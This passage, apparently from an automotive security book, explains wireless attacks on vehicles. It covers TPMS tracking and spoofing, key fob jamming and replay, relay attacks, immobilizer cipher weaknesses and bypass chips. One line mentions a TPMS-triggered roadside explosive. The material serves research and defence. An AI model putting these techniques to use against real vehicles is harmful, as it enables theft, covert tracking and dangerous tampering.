though,	because	there’s	a	delay	between	when	you	send	an	activation	signal
and	when	the	response	is	transmitted.	For	example,	if	you’re	receiving	from
the	side	of	the	road	and	the	vehicle	is	traveling	too	fast	past	your	sensor,	you
could	easily	miss	the	response.

The	activation	signal	is	designed	primarily	for	TPMS	test	equipment,	so
it	may	be	tricky	to	use	it	on	a	moving	vehicle.	If	the	target	vehicle	sends
packets	when	it’s	stationary	or	off,	your	task	will	be	much	easier.

TPMS	sensors	don’t	use	input	validation.	The	ECU	will	check	to	make
sure	that	it	recognizes	only	the	SignalID,	so	the	only	attribute	you,	as	an



attacker,	need	to	know	or	match	is	the	ID.

Tracking	a	Vehicle
It’s	possible	to	use	TPMS	to	track	vehicles	by	placing	receivers	in	the	areas
you	wish	to	track.	For	instance,	to	track	vehicles	entering	a	parking	garage,
you’d	simply	need	to	place	some	receivers	by	the	entrance	and	exit	areas.
However,	to	track	vehicles	around	a	city	or	along	a	route,	you’d	need	to
strategically	place	sensors	along	the	area	to	be	tracked.	Because	the	sensors
would	have	limited	range,	you’d	have	to	place	them	around	intersections	or
freeway	on-	or	off-ramps.

As	mentioned,	TPMS	sensors	broadcast	their	unique	ID	every	60	to	90
seconds,	so	you’ll	miss	a	lot	of	signals	if	you’re	recording	IDs	on	a	high-
speed	road.	To	improve	your	chances	of	capturing	signals,	send	the
activation	signal	to	wake	up	the	device	as	it	passes.	The	sensor’s	limited
distance	can	also	affect	your	ability	to	gather	IDs,	but	you	could	add	an	LNA
to	your	tracking	system	to	increase	the	range.

Event	Triggering
Besides	simply	tracking	a	vehicle,	TPMS	can	be	used	to	trigger	an	event,
from	something	simple	like	opening	a	garage	door	when	the	car	approaches
to	something	more	sinister.	For	instance,	a	malicious	actor	could	plant	a
roadside	explosive	and	set	it	to	detonate	when	it	receives	a	known	ID	from
the	TPMS	sensor.	Because	you	have	four	tires,	the	attacker	would	have
reasonable	assurance	that	they	have	the	right	vehicle	if	they	receive	a	signal
for	each	tire.	Essentially,	using	all	four	tires	would	allow	you	to	create	a	basic
but	accurate	sensor	fingerprint	for	a	target	vehicle.

Sending	Forged	Packets
Once	you	have	access	to	the	TPMS	signal,	you	can	send	your	own	forged
packets	by	setting	up	GNU	Radio	as	a	transmitter	instead	of	as	a	receiver.	By
forging	packets,	you	can	not	only	spoof	dangerous	PSI	and	temperature
readings	but	also	cause	other	engine	lights	to	trigger.	And	because	sensors
still	respond	to	activation	packets	while	the	vehicle	is	off,	it’s	possible	to
drain	a	vehicle’s	battery	by	flooding	the	sensor	with	activation	requests.



In	the	paper	“Security	and	Privacy	Vulnerabilities	of	In-Car	Wireless
Networks”	referenced	previously,	the	researchers	flooded	the	sensors	with
spoofed	packets,	eventually	managing	to	completely	shut	down	the	ECU
while	the	vehicle	was	in	use.	Shutting	down	the	ECU	either	halts	the	vehicle
or	forces	it	into	“limp	mode.”

WARNING

Shutting	down	the	ECU	while	a	vehicle	is	traveling	at	high	speed	could	be
extremely	dangerous.	Even	though	playing	with	TPMS	may	seem	innocuous,
be	sure	to	take	standard	safety	precautions	when	assessing	any	vehicle.

Attacking	Key	Fobs	and	Immobilizers
Anyone	who	has	driven	a	modern	vehicle	is	likely	familiar	with	the	key	fob
and	the	remote	unlock.	In	1982,	radio-frequency	identification	(RFID)	was
first	introduced	into	remote	keyless	vehicle	entry	systems	via	the	Renault
Fuego,	and	it’s	been	in	wide	use	since	1995.	Earlier	systems	used	infrared,	so
when	working	with	one	of	these	earlier	vehicles,	you’ll	need	to	assess	the	key
fob	by	recording	the	infrared	light	source	(which	is	not	covered	in	this
chapter).	Today’s	systems	use	a	key	fob	to	send	an	RFID	signal	to	a	vehicle
to	remotely	unlock	the	doors	or	even	start	the	vehicle.	The	key	fob	uses	a
transponder	operating	at	125	kHz	to	communicate	with	an	immobilizer	in
the	vehicle,	which	prevents	the	vehicle	from	starting	unless	it	receives	the
correct	code	or	other	token.	The	reason	to	use	a	low-frequency	RFID	signal
is	to	allow	the	key	system	to	work	even	if	the	key	fob	runs	out	of	battery
power.

We’ll	examine	using	SDR	devices	to	analyze	wireless	communications	set
by	the	wireless	key	fobs	used	to	unlock	and	start	vehicles.	While	older	key
fobs	use	a	simple	fixed	code	to	start	the	vehicle,	most	modern	systems	rely
on	a	rolling	code	or	a	challenge–response	system	that	prevents	simply
recording	and	playing	back	a	fixed	code	by	challenging	the	key	fob	to
perform	a	task,	like	completing	a	calculation	and	returning	the	correct
answer.	These	calculations	require	both	a	bit	more	power	and	the	use	of	a
battery,	which	also	makes	it	possible	for	the	key	fob	to	communicate	on	a
higher	frequency	from	a	greater	distance.

Remote	keyless	entry	systems	typically	run	at	315	MHz	in	North



America	and	433.92	MHz	in	Europe	and	Asia.	You	can	use	GNU	Radio	to
watch	the	signal	sent	by	a	key	fob	or	use	a	tool	like	the	Gqrx	SDR
(http://gqrx.dk/)	for	a	nice	real-time	view	of	the	entire	bandwidth	brought	in
from	your	SDR	device.	Using	Gqrx	with	a	high	sample	rate	(bandwidth)
allows	you	to	identify	the	frequency	of	an	RFID	signal	as	it’s	sent	from	a	key
fob	to	a	vehicle.	For	example,	Figure	12-5	shows	Gqrx	set	to	listen	at	315
MHz	(the	center,	vertical	line)	and	at	offset	–1,192.350	kHz,	as	it	monitors	a
key	fob	unlock	request	for	a	Honda.	Gqrx	has	identified	two	peaks	in	the
signal	that	are	likely	to	be	the	unlock	requests.

Figure	12-5:	Gqrx	capture	of	a	key	fob	unlock	request

Key	Fob	Hacks
There	are	plenty	of	ways	to	hack	key	fob	systems,	and	I’ll	give	examples	of	a
few	methods	an	attacker	might	use	in	the	following	sections.

Jamming	the	Key	Fob	Signal
One	way	to	attack	a	key	fob	signal	is	to	jam	it	by	passing	garbage	data	within
the	RFID	receiver’s	passband,	the	area	the	receiver	is	listening	to	for	a	valid

http://gqrx.dk/


signal.	The	width	of	the	passband	window	includes	some	extra	space	where
you	can	add	noise	to	prevent	the	receiver	from	changing	the	rolling	code
while	still	allowing	the	attacker	to	view	the	correct	key	sequence	(see	Figure
12-6).

While	holding	onto	that	valid	unlock	request	in	memory,	the	attacker
waits	for	another	request	to	be	sent	and	records	that	request,	too.	The
attacker	can	then	replay	the	first	valid	packet	to	the	vehicle,	causing	it	to	lock
or	unlock	the	car,	depending	on	the	signal	sent	by	the	key	fob.	When	the	car
owner	leaves	the	vehicle,	the	attacker	has	the	last	valid	key	stored	and	can
replay	it	to	open	the	vehicle	doors	or	start	the	vehicle.	This	attack	was
demonstrated	by	Samy	Kamkar	at	DEF	CON	23	on	both	vehicles	and
garage	door	openers.2

Figure	12-6:	Jamming	the	passband	filter	to	preserve	the	key	exchange

Pulling	the	Response	Codes	from	Memory
Sometimes	it’s	possible	to	find	the	response	code	still	in	the	immobilizer’s
memory,	even	a	few	minutes	after	the	key	fob	has	stopped	sending	signals.
This	provides	a	window	of	opportunity	to	start	the	car	not	by	capturing



signals	live	from	a	key	fob	but	rather	by	pulling	the	signal	from	the
immobilizer’s	memory.

If	an	area	of	memory	can	be	identified	to	contain	this	information,	then
the	attacker	needs	to	either	quickly	get	access	to	the	vehicle	or	have	a	device
on	the	vehicle	that	can	respond	to	record	this	information.

Brute-Forcing	a	Key	Code
Some	response	codes	can	be	accessed	by	brute	force,	though	the	feasibility	of
a	brute-force	attack	depends	on	the	key	code	length	and	algorithm.	(We’ll
discuss	the	cryptography	behind	these	key	systems	in	“Immobilizer
Cryptography”	on	page	220.)	In	order	for	a	brute-force	attack	to	succeed,
the	attacker	needs	to	build	custom	software	to	brute-force	the	key	using	an
SDR,	a	custom	hardware	component,	or—better	yet—a	combination	of	the
two.	For	instance,	if	the	key	fob	detected	brute-forcing	attacks,	you	may
want	to	have	some	custom	hardware	reset	the	key	fob	on	lockout	by
bouncing	the	power.

Forward-Prediction	Attacks
If	an	attacker	is	able	to	observe	challenge–response	exchanges	that	occur
when	the	key	fob	sends	a	signal	to	the	vehicle	and	the	vehicle’s	transponder
responds,	the	attacker	can	perform	a	forward-prediction	attack.	In	such	an
attack,	the	attacker	observes	multiple	challenges	and	from	those,	predicts
what	the	next	challenge	request	will	be.	If	the	transponder’s	pseudorandom
number	generator	(PRNG)	is	weak,	this	attack	may	well	succeed.	To	greatly
simplify	this	example,	if	the	PRNG	was	based	on	when	the	key	fob	first
received	power,	an	attacker	could	seed	their	own	random	number	generator
with	a	matching	start	time.	Once	the	attacker	was	synced	to	the	target,	the
attacker	could	predict	all	future	codes.

Dictionary	Attacks
Similarly,	if	an	attacker	can	record	numerous	valid	challenge–response

exchanges	between	the	key	fob	and	the	transponder,	they	can	store	them	in	a
dictionary	and	then	use	the	collected	key	pairs	to	repeatedly	request
challenges	from	the	transponder	until	one	challenge	matches	a	response	in
the	dictionary.	This	tricky	attack	is	possible	only	when	the	keyless	entry
system	doesn’t	use	sender	verification	to	make	sure	that	responses	are	valid.



The	attacker	would	also	need	to	be	able	to	continuously	request
authentication	from	the	transponder.

In	order	to	perform	a	dictionary	attack,	the	attacker	would	need	to	build	a
system	to	trigger	the	key	fob	request	and	record	the	exchange	with	an	SDR.
An	Arduino	wired	to	the	button	press	of	the	researcher’s	valid	key	fob	would
suffice.	Assuming	the	authentication	takes	place	over	CAN,	it’s	also	possible
to	grab	the	key	fob	ID	over	ultra-high	frequency	and	attempt	to	gather	the
key	stream	by	replaying	and	recording	the	communication	over	the	CAN
bus,	as	discussed	in	“Reversing	CAN	Bus	Communications	with	can-utils
and	Wireshark”	on	page	68.	Using	custom	tools,	this	would	be	possible	to
repeat	over	any	bus	network.	For	more	information	on	this	type	of	attack,
see	the	paper	“Broken	Keys	to	the	Kingdom”.3

Dumping	the	Transponder	Memory
It’s	often	possible	to	dump	the	memory	of	the	transponder	to	get	the	secret
key.	In	Chapter	8,	we	examined	how	to	use	debugger	pins,	such	as	JTAG,	as
well	as	side-channel	analysis	attacks	to	dump	memory	from	the	transponder.

Reversing	the	CAN	Bus
To	gain	access	to	a	vehicle,	an	attacker	can	simulate	the	lock	button	press

using	the	CAN	bus	reversing	methods	discussed	in	Chapter	5.	If	the	attacker
has	access	to	the	CAN	bus,	they	can	replay	lock	and	unlock	packets	to
control	and	occasionally	even	start	the	vehicle.	Sometimes	CAN	bus	wires
are	even	accessible	from	outside	the	vehicle;	for	instance,	some	vehicles	have
CAN	bus	running	to	the	tail	lights.	An	attacker	could	pop	out	a	tail	light	and
tap	into	the	CAN	bus	network	in	order	to	unlock	the	vehicle.

Key	Programmers	and	Transponder	Duplication	Machines
Transponder	duplication	machines	are	often	used	to	steal	vehicles.	These
machines,	the	same	as	those	used	by	a	mechanic	or	dealership	to	replace	lost
keys,	can	be	purchased	online	for	anywhere	from	$200	to	$1,000.	Attackers
acquire	the	transponder	signal	from	their	target	vehicle	and	use	it	to	create	a
clone	of	the	key,	by	either	having	a	valid	key	nearby	or	using	one	of	the
attacks	discussed	earlier.	For	example,	the	attacker—possibly	a	valet	or	a
parking	garage	attendant—might	jam	the	door	lock	signal	and	then	sneak
into	the	vehicle	and	attach	a	custom	dongle	to	the	OBD-II	connector.	The



dongle	would	acquire	the	key	fob	communication	and	possibly	even	include
a	GPS	broadcast	to	allow	the	attacker	to	locate	the	vehicle	later.	The
attacker	would	later	return	to	the	vehicle	and	use	the	dongle	to	unlock	and
start	the	car.

Attacking	a	PKES	System
Passive	keyless	entry	and	start	(PKES)	systems	are	very	similar	to	traditional
transponder	immobilizer	systems,	except	that	the	key	fob	can	remain	in	the
owner’s	pocket	and	no	button	needs	to	be	pressed.	When	a	PKES	system	is
implemented,	antennas	in	the	vehicle	read	RFID	signals	from	the	key	fob
when	it’s	in	range.	PKES	key	fobs	use	a	low-frequency	(LF)	RFID	chip	and
an	ultra-high-frequency	(UHF)	signal	to	unlock	or	start	the	vehicle.	The
vehicle	ignores	UHF	signals	from	the	key	fob	if	the	LF	RFID	signal	isn’t
seen,	meaning	that	the	key	isn’t	nearby.	The	RFID	on	the	key	fob	receives	a
crypto	challenge	from	the	vehicle,	and	the	microcontroller	on	the	key	fob
solves	this	challenge	and	responds	over	the	UHF	signal.	Some	vehicles	use
RFID	sensors	inside	the	vehicle	to	triangulate	the	location	of	the	key	fob	to
ensure	the	key	fob	is	inside	the	vehicle.	If	the	battery	dies	in	a	PKES	key	fob,
there’s	typically	a	hidden	physical	key	in	the	fob	that	will	unlock	the	door,
though	the	immobilizer	will	still	use	the	RFID	to	verify	that	the	key	is
present	before	starting	the	vehicle.

There	are	typically	two	types	of	possible	attacks	on	a	PKES	system:	a
relay	attack	and	an	amplified	relay	attack.	In	a	relay	attack,	an	attacker	places
a	device	next	to	the	car	and	another	next	to	the	owner	or	holder	of	the	key
fob	(the	target).	The	device	relays	the	signals	between	the	target’s	key	fob
and	the	vehicle,	enabling	the	attacker	to	start	the	car.

This	relay	tunnel	can	be	set	up	to	communicate	over	any	channel	that’s
fast	and	has	a	larger	range	than	the	normal	key	fob.	For	instance,	a	device
placed	near	the	target	could	set	up	a	cellular	tunnel	to	a	laptop	near	the
vehicle.	Packets	would	go	from	the	target’s	key	fob	into	the	device	to	be
transmitted	over	cellular	and	replayed	by	the	laptop.	For	more	information,
see	“Relay	Attacks	on	Passive	Keyless	Entry	and	Start	Systems	in	Modern
Cars.”4

An	amplified	relay	attack	uses	the	same	basic	principles	as	a	relay	attack	but
with	only	a	single	amplifier.	The	attacker	stands	by	the	target	vehicle	and



amplifies	the	signal,	and	if	the	target	is	nearby	with	the	key	fob,	the	vehicle
will	unlock.	This	is	an	unsophisticated	attack	that	simply	increases	the	range
of	the	vehicle’s	sensors.	It’s	been	seen	in	the	wild,	primarily	in	residential
neighborhoods,	prompting	a	series	of	news	articles	advising	residents	to	put
their	keys	in	their	refrigerator	or	wrap	them	in	aluminum	foil	when	they’re
at	home	to	prevent	them	from	sending	a	readable	signal.	Obviously,	treating
your	keys	like	lunch	is	silly,	but	until	auto	manufacturers	provide	an
alternative	solution,	I’m	afraid	you’re	stuck	with	homemade	Faraday	cages.

Immobilizer	Cryptography
Like	most	systems	in	a	vehicle,	immobilizer	systems	are	usually	created	using
a	combination	of	cheap	components.	As	a	result,	manufacturers	have	become
creative	with	things	like	cryptography,	which	has	introduced	numerous
weaknesses	into	these	systems.	For	example,	some	immobilizer	vendors
make	the	common	mistake	of	creating	their	own	crypto	and	hiding	it	behind
a	trade	secret	clause	designed	to	protect	it	instead	of	validating	it	with	public
scrutiny.	Known	as	security	through	obscurity,	this	method	is	almost	always
doomed	to	fail,	and	it’s	why	we	don’t	see	a	standard	cryptography
implementation	to	handle	the	key	exchange	between	the	key	fob	and	the
immobilizer.

The	immobilizer–key	exchange	uses	a	challenge–response	system	and
PRNGs.	The	PRNG	is	equally	important	as	the	crypto	algorithm,	as	a	poor
PRNG	can	lead	to	predictable	results	regardless	of	how	good	your	crypto
algorithm	is.

The	typical	key	exchange	implementation	follows	this	general	sequence:

1.	 The	immobilizer	sends	a	challenge	to	the	key	using	a	PRNG.
2.	 The	key	encrypts	the	challenge	using	a	PRNG	and	returns	it	to	the

immobilizer.
3.	 The	immobilizer	sends	a	second	random	number	challenge.
4.	 The	key	encrypts	both	challenges	and	returns	them	to	the	immobilizer.

These	algorithms	are	typically	from	the	pseudorandom	function	(PRF)
family,	which	generate	what	only	look	like	random	output	given	random
input.	There’s	a	strong	reliance	on	generated	randomness	in	order	for	these



systems	to	work	properly.	Some	of	these	systems	have	already	been	cracked
and	the	cracking	methods	widely	disseminated,	but	some	still	remain
unbroken.	Unfortunately,	because	manufacturers	don’t	have	systems	in	place
to	update	their	key	fobs’	firmware,	you’ll	see	all	of	these	algorithms	in	use	if
you	look	long	and	hard	enough.

The	following	are	some	of	the	known	proprietary	algorithms	still	in	use
and	their	current	crack	status—that	is,	whether	they’ve	been	broken	or	not.
Whenever	possible,	I	identify	which	vehicles	you	may	see	the	algorithm	used
in.

NOTE

This	section	is	designed	to	assist	in	your	research.	Each	area	should	give	you
basic	information	on	the	key	system	you’re	looking	at	and	details	that	should
help	you	to	jump-start	your	crypto	research.	This	section	isn’t	meant	to	explain
cryptography,	and	I	won’t	delve	into	the	intricacies	of	the	mathematics	behind
each	algorithm.

EM	Micro	Megamos

Introduced	1997

Manufacturer	Volkswagen/Thales

Key	Length	96	bits

Algorithm	Proprietary

Vehicles	Porsche,	Audi,	Bentley,	Lamborghini

Crack	Status	Broken	but	the	attack	methods	have	been	censored	by
lawsuit

The	Megamos	cryptographic	system	has	a	particularly	interesting	history.
Megamos	“optimized”	its	key	handshake	by	requiring	only	one	round	of
challenge	and	response	and	eliminating	the	second	round,	as	outlined
earlier.	While	an	attacker	attempting	to	crack	a	challenge–response	key
would	normally	need	access	to	the	target	key,	they	could	crack	Megamos
without	a	key	present	because	the	Megamos	challenge	response	is	never
actually	acted	on	by	the	vehicle’s	transponder.	This	flaw	basically	skips	the
key	challenge	portion	and	provides	only	an	encrypted	key.



The	Megamos	memory	is	a	160-bit	EEPROM,	organized	into	10	words,
as	shown	in	Table	12-1.	Crypt	Key	is	the	secret	key	storage,	ID	is	the	32-bit
identifier,	LB	0	and	LB	1	are	the	lock	bits,	and	UM	is	the	30	bits	of	user
memory.

Table	12-1:	Layout	of	the	Megamos	Memory	Space

Bit	15 Bit	0 Bit	15 Bit	0

Crypt	Key	95Crypt	Key	80Crypt	Key	15 Crypt	Key	0

Crypt	Key	79Crypt	Key	64 ID	31 ID	16

Crypt	Key	63Crypt	Key	48 ID	15 ID	0

Crypt	Key	47Crypt	Key	32LB1,	LB0,	UM	29UM	16

Crypt	Key	31Crypt	Key	16UM	15 UM	0

This	algorithm	was	cracked	publicly	in	2013	when	Flavio	D.	Garcia,	a
security	researcher	at	the	University	of	Birmingham,	published	a	paper
called	“Dismantling	Megamos	Crypto:	Wirelessly	Lockpicking	a	Vehicle
Immobilizer”.5	Garcia	and	two	fellow	researchers	from	Radboud	University
Nijmegen,	Barış	Ege	and	Roel	Verdult,	notified	the	chipmakers,
Volkswagen	and	Thales,	nine	months	prior	to	the	scheduled	publication	of
their	paper.	Volkswagen	and	Thales	reacted	by	suing	the	researchers	for
having	identified	the	vulnerabilities,	and	the	researchers	lost	the	court	case
because	the	algorithm	was	leaked	online.	The	leaked	algorithm	was	used	in
pirated	software—the	Tango	Programmer	from	VAG-info.com—for	adding
new	keys.	The	researchers	acquired	this	software	and	reversed	the	internals
of	the	software	to	identify	the	algorithm.

In	their	paper,	the	researchers	analyzed	the	algorithm	and	reported	on
the	vulnerabilities	they	found,	though	the	actual	exploit	was	apparently	not
trivial	and	there	were	much	easier	ways	to	steal	a	car	with	a	Megamos
system.	Nevertheless,	the	research	was	placed	under	a	gag	order,	and	the
findings	weren’t	made	public.	Unfortunately,	the	problem	with	Megamos
still	exists,	and	it’s	still	insecure—the	gag	order	simply	prevents	vehicle
owners	from	determining	their	risk	because	the	research	isn’t	publicly
available.	This	is	a	prime	example	of	how	the	auto	industry	should	not
respond	to	security	research.



You	can	find	a	transcript	of	the	court	decision	here:
http://www.bailii.org/ew/cases/EWHC/Ch/2013/1832.html.	In	order	not	to	leak
any	details,	I’ll	simply	quote	the	court	case:

In	detail	the	way	this	works	is	as	follows:	both	the	car	computer	and	the	transponder	know	a
secret	number.	The	number	is	unique	to	that	car.	It	is	called	the	“secret	key”.	Both	the	car
computer	and	the	transponder	also	know	a	secret	algorithm.	That	is	a	complex	mathematical
formula.	Given	two	numbers	it	will	produce	a	third	number.	The	algorithm	is	the	same	for	all
cars	which	use	the	Megamos	Crypto	chip.	Carrying	out	that	calculation	is	what	the	Megamos
Crypto	chip	does.

When	the	process	starts	the	car	generates	a	random	number.	It	is	sent	to	the	transponder.	Now
both	computers	perform	the	complex	mathematical	operation	using	two	numbers	they	both
should	know,	the	random	number	and	the	secret	key.	They	each	produce	a	third	number.	The
number	is	split	into	two	parts	called	F	and	G.	Both	computers	now	know	F	and	G.	The	car	sends
its	F	to	the	transponder.	The	transponder	can	check	that	the	car	has	correctly	calculated	F.	That
proves	to	the	transponder	that	the	car	knows	both	the	secret	key	and	the	Megamos	Crypto
algorithm.	The	transponder	can	now	be	satisfied	that	the	car	is	genuinely	the	car	it	is	supposed	to
be.	If	the	transponder	is	happy,	the	transponder	sends	G	to	the	car.	The	car	checks	that	G	is
correct.	If	it	is	correct	then	the	car	is	happy	that	the	transponder	also	knows	the	secret	key	and
the	Megamos	Crypto	algorithm.	Thus	the	car	can	be	satisfied	that	the	transponder	is	genuine.	So
both	devices	have	confirmed	the	identity	of	the	other	without	actually	revealing	the	secret	key	or
the	secret	algorithm.	The	car	can	safely	start.	The	verification	of	identity	in	this	process	depends
on	the	shared	secret	knowledge.	For	the	process	to	be	secure,	both	pieces	of	information	need	to

remain	secret—the	key	and	the	algorithm.6

In	reality,	any	robust	crypto	algorithm	can	be	known.	In	fact,	as	any
cryptographer	will	tell	you,	if	knowing	the	math	behind	an	algorithm
jeopardizes	the	security	of	that	algorithm,	the	algorithm	is	flawed.

The	court	case	determined	that	the	attacks	were	hard	to	mitigate	and
would	require	a	complete	redesign.	The	researchers	offered	other
lightweight	algorithms	that	could	be	used	in	the	redesigned	key	systems,	but
because	the	research	was	silenced,	no	key	systems	were	updated.	The
Megamos	algorithm	is	still	found	in	key	programmers	like	Volkswagen’s
Tango	Programmer,	among	others.

EM4237

Introduced	2006

Manufacturer	EM	Microelectronic

Key	Length	128	bits

http://www.bailii.org/ew/cases/EWHC/Ch/2013/1832.html


Algorithm	Proprietary

Vehicles	Unknown

Crack	Status	No	known	published	cracks

EM4237	is	described	by	the	manufacturer	as	a	generic,	long-range,	passive,
contactless	tag	system	that	uses	transponders.	This	is	similar	to	a	beefed-up
proximity	card	used	for	building	access	but	with	a	range	of	1	to	1.5	m.
Normally,	EM4237	requires	a	high-security,	128-bit	password,	but	it	can
run	in	a	low-security	mode	that	requires	only	a	32-bit	password	if,	for
example,	the	key	fob	is	low	on	battery,	as	it	takes	less	energy	to	compute	a
32-bit	key	than	a	128-bit	key.	The	system’s	low-security	mode	key	is	located
in	the	same	memory	section	of	the	transponder	as	the	high-security	mode
key,	and	the	system	can	be	toggled	between	high	and	low	security	without
having	to	reenter	the	password/key.	The	EM4237	transponder	claims	to	be
compliant	with	vicinity	card	standards	(ISO/IEC	15693),	which	offers	full
encryption	of	the	RF	channel	(13.56	MHz).	When	auditing	EM4237,	ensure
that	implementation	on	your	target	matches	the	specification.

Hitag	1

Introduced	Unknown

Manufacturer	Philips/NXP

Key	Length	32	bits

Algorithm	Proprietary

Vehicles	Unknown

Crack	Status	Broken

Hitag	1	relies	on	a	32-bit	secret	key	and	is	susceptible	to	a	brute-force	attack
that	can	take	only	a	few	minutes.	You	won’t	find	Hitag	1	used	in	many	of
today’s	vehicles,	but	Hitag	1	transponders	are	still	used	in	other	RFID
products,	such	as	smart	keychains	and	proximity	cards.

Hitag	2

Introduced	1997

Manufacturer	Philips/NXP



Key	Length	48	bits

Algorithm	Proprietary

Vehicles	Audi,	Bentley,	BMW,	Chrysler,	Land	Rover,	Mercedes,
Porsche,	Saab,	Volkswagen,	and	many	more

Crack	Status	Broken

Hitag	2	is	one	of	the	most	widely	implemented	(and	broken)	algorithms	in
vehicles	produced	around	the	world.	The	algorithm	was	cracked	because	its
stream	cipher,	shown	in	Figure	12-7,	is	never	fed	back	into	the	original	state,
making	the	key	discoverable.

Figure	12-7:	Hitag	2	cipher

Hitag	2	keys	can	be	cracked	in	under	a	minute	by	using	a	type	of	smart
brute-forcing	that	intelligently	picks	the	next	guess	rather	than	trying	every
possibility.	The	Hitag	2	system	can	be	brute-forced	so	quickly	because	it
doesn’t	even	use	its	full	bit	length,	and	when	the	transponders	are
introduced	into	a	system,	they	don’t	produce	true	random	numbers	during
initialization.	Both	Hitag	1	and	Hitag	2	are	also	vulnerable	to	dictionary
attacks.

You’ll	find	numerous	papers	online	that	discuss	a	multitude	of	weaknesses
in	Hitag	2,	such	as	“Gone	in	360	Seconds:	Hijacking	with	Hitag2”.7



Hitag	AES

Introduced	2007

Manufacturer	Philips/NXP

Key	Length	128	bits

Algorithm	AES

Vehicles	Audi,	Bentley,	BMW,	Porsche

Crack	Status	No	known	published	cracks

This	newer	cipher	relies	on	the	proven	AES	algorithm,	which	means	that
any	weaknesses	in	the	crypto	will	result	from	a	manufacturer’s
implementation.	As	I	write	this,	there	are	no	known	cracks	for	Hitag	AES.

DST-40

Introduced	2000

Manufacturer	Texas	Instruments

Key	Length	40	bits

Algorithm	Proprietary	(unbalanced	Feistel	cipher)

Vehicles	Ford,	Lincoln,	Mercury,	Nissan,	Toyota

Crack	Status	Broken

The	algorithm	used	by	the	digital	signal	transponder	DST-40	was	also	used
in	the	Exxon-Mobil	Speedpass	payment	system.	The	DST-40,	a	200-round
unbalanced	Feistel	cipher,	was	reverse	engineered	by	researchers	at	Johns
Hopkins	University	who	created	a	series	of	FPGAs	to	brute-force	the	key,
allowing	them	to	clone	the	transponders.	(FPGAs	make	it	possible	to	create
hardware	that’s	custom	designed	to	crack	algorithms,	which	makes	brute-
forcing	much	more	feasible.)	Because	an	FPGA	is	specialized	and	can	run
with	parallel	inputs,	it	can	often	process	things	much	faster	than	a	general-
purpose	computer.

The	attack	on	DST-40	takes	advantage	of	the	transponder’s	weak	40-bit
key	and	requires	no	more	than	one	hour	to	complete.	To	perform	the	attack,
the	attacker	must	get	two	challenge–response	pairs	from	a	valid	transponder
—a	relatively	easy	task,	since	DST-40	responds	to	as	many	as	eight	queries



per	second.	(See	“Security	Analysis	of	Cryptographically-Enabled	RFID
Device”	for	more	details	on	this	crack.8)

DST-80

Introduced	2008

Manufacturer	Texas	Instruments

Key	Length	80	bits

Algorithm	Proprietary	(unbalanced	Feistel	cipher)

Crack	Status	No	known	published	cracks

When	DST-40	was	cracked,	Texas	Instruments	responded	by	doubling
the	key	length	to	produce	DST-80.	DST-80	isn’t	as	widely	deployed	as
DST-40.	Some	sources	claim	that	DST-80	is	still	susceptible	to	attack,
though,	as	of	this	writing,	no	attacks	have	been	published.

Keeloq

Introduced	Mid-1980s

Manufacturer	Nanoteq

Key	Length	64	bits

Algorithm	Proprietary	(NLFSR)

Vehicles	Chrysler,	Daewoo,	Fiat,	General	Motor,	Honda,	Jaguar,
Toyota,	Volkswagen,	Volvo

Crack	Status	Broken

Keeloq,	shown	in	Figure	12-8,	is	a	very	old	algorithm,	and	there	have	been
many	published	attacks	on	its	encryption.	Keeloq	can	use	both	a	rolling	code
and	a	challenge	response,	and	it	uses	a	block	cipher	based	on	nonlinear
feedback	shift	register	(NLFSR).	The	manufacturer	implementing	Keeloq
receives	a	key,	which	is	stored	in	all	receivers.	Receivers	learn	transponder
keys	by	receiving	their	IDs	over	a	bus	line	programmed	by	the	auto
manufacturer.

The	most	effective	cryptographic	attack	in	Keeloq	uses	both	a	slide	and	a
meet-in-the-middle	attack.	The	attack	targets	Keeloq’s	challenge–response



mode	and	requires	the	collection	of	216	known	plaintext	messages	from	a
transponder—the	recording	of	which	can	take	just	over	one	hour.	The	attack
typically	results	only	in	the	ability	to	clone	the	transponder,	but	if	the
manufacturer’s	key	derivation	is	weak,	it	may	be	possible	for	the	attacker	to
deduce	the	key	used	on	their	transponders.	However,	attacking	the	crypto
has	become	unnecessary	because	newer	dedicated	FPGA	clusters	make	it
possible	to	simply	brute-force	the	key.

Figure	12-8:	Keeloq	algorithm

Keeloq	is	also	susceptible	to	a	power-analysis	attack.	A	power-analysis
attack	can	be	used	to	extract	the	manufacturer’s	key	used	on	the
transponders	with	only	two	transponder	messages.	If	successful,	such	an
attack	typically	results	only	in	the	ability	to	clone	a	transponder	in	a	few
minutes	by	monitoring	the	power	traces	on	the	transponder.	Power	analysis
can	also	be	used	to	get	the	manufacturer	key,	though	such	an	attack	could
take	several	hours	to	perform.	Once	the	attacker	has	the	master	key,	they	can
clone	any	transponder.	Finally,	because	Keeloq	takes	varying	clock	cycles
when	using	its	lookup	table,	it’s	also	susceptible	to	timing	attacks.	(For	more
on	power-analysis	and	timing	attacks,	see	Chapter	8.)

Open	Source	Immobilizer	Protocol	Stack

Introduced	2011

Manufacturer	Atmel



Key	Length	128	bits

Algorithm	AES

Crack	Status	No	known	published	cracks

In	2011,	Atmel	released	the	Open	Source	Immobilizer	Protocol	Stack
under	an	open	source	license,	making	it	freely	available	to	the	public	and
encouraging	public	scrutiny	of	the	protocol	design.	As	I	write	this,	there	are
no	known	attacks	on	this	protocol.	You	can	download	the	protocol	from	the
Atmel	site:	http://www.atmel.com/.

Physical	Attacks	on	the	Immobilizer	System
So	far,	we’ve	looked	at	wireless	attacks	and	direct	cryptography	attacks
against	the	transponders.	Next,	we’ll	look	at	physical	modification	and
attacks	to	the	vehicle	itself.	Physical	attacks	typically	take	longer	to	perform
and	aren’t	meant	to	be	stealthy.

Attacking	Immobilizer	Chips
One	way	to	attack	an	immobilization	system	is	to	physically	attack	the
immobilizer	chip.	In	fact,	it’s	possible	to	completely	remove	the	immobilizer
chip	(typically	from	a	vehicle’s	ECU)	and	still	operate	a	vehicle,	though
perhaps	not	quite	normally.	At	the	very	least,	this	removal	would	create	a
DTC	and	turn	on	the	MIL,	as	discussed	in	“Diagnostic	Trouble	Codes”	on
page	52.	In	order	to	physically	remove	immobilizer-based	security,	you	can
purchase	or	build	an	immobilizer	bypass	chip	and	then	solder	it	where	the
original	immobilizer	chip	was	to	keep	the	rest	of	the	ECU	happy.	These
chips,	sometimes	referred	to	as	immo	emulators,	typically	cost	$20	to	$30.
You’d	still	need	to	have	a	key	cut	for	the	vehicle,	but	having	bypassed	any
challenge–response	security	entirely,	the	key	would	simply	unlock	and	start
the	vehicle.

Brute-Forcing	Keypad	Entry
Now,	for	a	change	of	pace:	Here’s	one	method	for	brute-forcing	a	keypad
